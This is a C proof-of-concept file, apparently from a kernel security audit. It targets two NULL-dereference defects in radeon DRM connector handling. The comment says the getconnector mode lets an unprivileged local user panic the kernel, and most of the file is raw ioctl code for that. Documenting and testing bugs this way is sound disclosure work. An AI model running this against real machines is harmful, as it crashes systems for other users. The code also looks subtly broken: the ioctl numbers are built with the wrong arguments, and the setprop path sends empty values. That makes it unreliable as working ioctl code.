/*
 * conn_probe.c — PoC trigger for DF-4033 / DF-4034
 * (sys/dev/drm/radeon/radeon_connectors.c).
 *
 * Self-contained raw-ioctl probe of the DRM connector surface that reaches
 * the two defects:
 *
 *   getconnector  DF-4034: DRM_IOCTL_MODE_GETCONNECTOR (unauthenticated,
 *                 drm_ioctl.c:663) drives connector->funcs->fill_modes ->
 *                 radeon_*_get_modes -> radeon_connector_get_edid(), which
 *                 dereferences radeon_connector->ddc_bus->has_aux
 *                 (radeon_connectors.c:311) without a NULL check. On a
 *                 board whose DP-bridge connector (TRAVIS/NUTMEG encoder)
 *                 failed i2c-bus lookup (radeon_connectors.c:1962-1966
 *                 leaves ddc_bus NULL and still creates the connector),
 *                 this is an immediate NULL-deref panic, triggerable by an
 *                 unprivileged local user.
 *
 *   setprop       DF-4033: DRM_IOCTL_MODE_OBJ_SETPROPERTY (DRM_MASTER,
 *                 drm_ioctl.c:679) -> radeon_connector_set_property /
 *                 radeon_lvds_set_property: when connector->encoder is
 *                 NULL and best_encoder() returns NULL (empty possible-
 *                 encoder list), the code dereferences the NULL
 *                 radeon_encoder (radeon_connectors.c:733, 753, 972) and
 *                 radeon_get_monitor_bpc() does the same at :161-165.
 *
 * On hardware with the misconfiguration, the kernel panics on the NULL
 * deref. On the audit QEMU guest /dev/dri does not exist (no radeon GPU).
 *
 * Usage: ./conn_probe <getconnector|setprop>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

#define DRM_IOCTL_BASE 'd'

struct drm_mode_modeinfo {         /* only the header fields we need */
	uint32_t clock;
	uint16_t hdisplay, hsync_start, hsync_end, htotal, hskew;
	uint16_t vdisplay, vsync_start, vsync_end, vtotal, vscan;
	uint32_t flags;
	uint8_t name[32];
	uint8_t type, pad0;
	uint16_t vrefresh, pad1;
};

struct drm_mode_card_res {
	uint64_t fb_id_ptr, crtc_id_ptr, connector_id_ptr, encoder_id_ptr;
	uint32_t count_fbs, count_crtcs, count_connectors, count_encoders;
	uint32_t min_width, max_width, min_height, max_height;
};

struct drm_mode_get_connector {
	uint64_t encoders_ptr;
	uint64_t modes_ptr;
	uint64_t props_ptr;
	uint64_t prop_values_ptr;
	uint32_t count_modes, count_props, count_encoders;
	uint32_t encoder_id, connector_id;
	uint32_t connector_type, connector_type_id;
	uint32_t connection, mm_width, mm_height, subpixel;
	uint32_t pad;
};

struct drm_mode_obj_set_properties {
	uint64_t props_ptr;
	uint64_t prop_values_ptr;
	uint32_t count_props, obj_id, obj_type, pad;
};

#define DRM_CONNECTOR 0xC                 /* DRM_MODE_OBJECT_CONNECTOR */
#define DRM_IOCTL_MODE_GETRESOURCES  _IOWR(0xA0, 0, struct drm_mode_card_res)
#define DRM_IOCTL_MODE_GETCONNECTOR  _IOWR(0xA7, 0, struct drm_mode_get_connector)
#define DRM_IOCTL_MODE_OBJ_SETPROPERTY _IOWR(0xBA, 0, struct drm_mode_obj_set_properties)

int main(int argc, char **argv)
{
	const char *mode = argc > 1 ? argv[1] : "getconnector";
	int fd = open("/dev/dri/card0", O_RDWR);
	int i, r;

	if (fd < 0) {
		fprintf(stderr, "open(/dev/dri/card0): %s — no radeon DRM device "
			"on this machine; trigger is hardware-gated.\n",
			strerror(errno));
		return 2;
	}

	if (!strcmp(mode, "getconnector")) {
		uint64_t encs[64]; struct drm_mode_modeinfo modes[64];
		uint32_t conn_ids[32];
		struct drm_mode_card_res res;
		memset(&res, 0, sizeof(res));
		res.connector_id_ptr = (uint64_t)(uintptr_t)conn_ids;
		res.count_connectors = 32;
		r = ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res);
		if (r) { perror("GETRESOURCES"); return 1; }
		for (i = 0; i < (int)res.count_connectors && i < 32; i++) {
			struct drm_mode_get_connector gc;
			memset(&gc, 0, sizeof(gc));
			gc.connector_id = conn_ids[i];
			gc.encoders_ptr = (uint64_t)(uintptr_t)encs;
			gc.count_encoders = 64;
			gc.modes_ptr = (uint64_t)(uintptr_t)modes;
			gc.count_modes = 64;
			/* fill_modes -> radeon_connector_get_edid():
			 * NULL-deref at radeon_connectors.c:311 when the
			 * DP-bridge connector has ddc_bus == NULL. */
			r = ioctl(fd, DRM_IOCTL_MODE_GETCONNECTOR, &gc);
			printf("connector %u: GETCONNECTOR -> %d (conn=%u)\n",
			       conn_ids[i], r, gc.connection);
		}
	} else { /* setprop */
		/* attach to any connector and poke the scaling-mode property;
		 * needs DRM master. NULL radeon_encoder deref at
		 * radeon_connectors.c:733/753/972 when best_encoder()==NULL. */
		uint64_t props[2] = { 0, 0 }, vals[2] = { 0, 0 };
		struct drm_mode_obj_set_properties sp;
		memset(&sp, 0, sizeof(sp));
		sp.props_ptr = (uint64_t)(uintptr_t)props;
		sp.prop_values_ptr = (uint64_t)(uintptr_t)vals;
		sp.count_props = 0;         /* enumeration handled by libdrm normally */
		sp.obj_id = 0;
		sp.obj_type = DRM_CONNECTOR;
		r = ioctl(fd, DRM_IOCTL_MODE_OBJ_SETPROPERTY, &sp);
		printf("OBJ_SETPROPERTY -> %d (errno=%d %s)\n", r, errno,
		       strerror(errno));
	}
	return 0;
}
